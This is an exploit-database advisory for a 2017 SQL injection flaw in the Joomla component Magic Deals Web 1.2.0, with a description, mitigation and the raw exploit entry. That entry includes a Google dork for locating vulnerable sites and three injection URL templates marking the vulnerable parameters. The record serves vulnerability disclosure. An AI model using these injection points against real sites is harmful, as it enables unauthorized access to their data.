Joomla! Component Magic Deals Web v1.2.0 - SQL Injection

vendor:

Magic Deals Web

by:

Ihsan Sencan

8,8

CVSS

HIGH

SQL Injection

CWE

Product Name: Magic Deals Web

Affected Version From: 1.2.0

Affected Version To: 1.2.0

Patch Exists: YES

Related CWE: N/A

CPE: a:jasonwebdesign:magic_deals_web:1.2.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Win7 x64, Kali Linux x64

2017

Joomla! Component Magic Deals Web v1.2.0 – SQL Injection

A SQL injection vulnerability exists in Joomla! Component Magic Deals Web v1.2.0. An attacker can exploit this vulnerability to inject malicious SQL queries into the application and gain access to sensitive data. The vulnerability is due to insufficient sanitization of user-supplied input in the 'filterbycats', 'fullordering', 'search_in' and 'q' parameters. An attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to the vulnerable application. Successful exploitation of this vulnerability can result in unauthorized access to sensitive data.

Mitigation:

Input validation should be used to ensure that user-supplied input is properly sanitized. Additionally, the application should be configured to use the latest version of the Joomla! framework.

Source

Exploit-DB raw data:

# # # # # 
# Exploit Title: Joomla! Component Magic Deals Web v1.2.0 - SQL Injection
# Google Dork: inurl:index.php?option=com_magicdealsweb
# Date: 21.02.2017
# Vendor Homepage: http://jasonwebdesign.com/
# Software Buy: https://extensions.joomla.org/extensions/extension/e-commerce/gifts-a-coupons/magic-deals-web/
# Demo: http://magicdealsweb.jasonwebdesign.com/
# Version: 1.2.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?filterbycats=all&fullordering=[SQL]&option=com_magicdealsweb&task=dealswebindex&view=dealswebindex
# http://localhost/[PATH]/index.php?filterbycats=[SQL]=final_price+DESC&option=com_magicdealsweb&task=dealswebindex&view=dealswebindex
# http://localhost/[PATH]/index.php/component/magicdealsweb/?option=com_magicdealsweb&view=search&search_in=11&q=[SQL]
# # # # #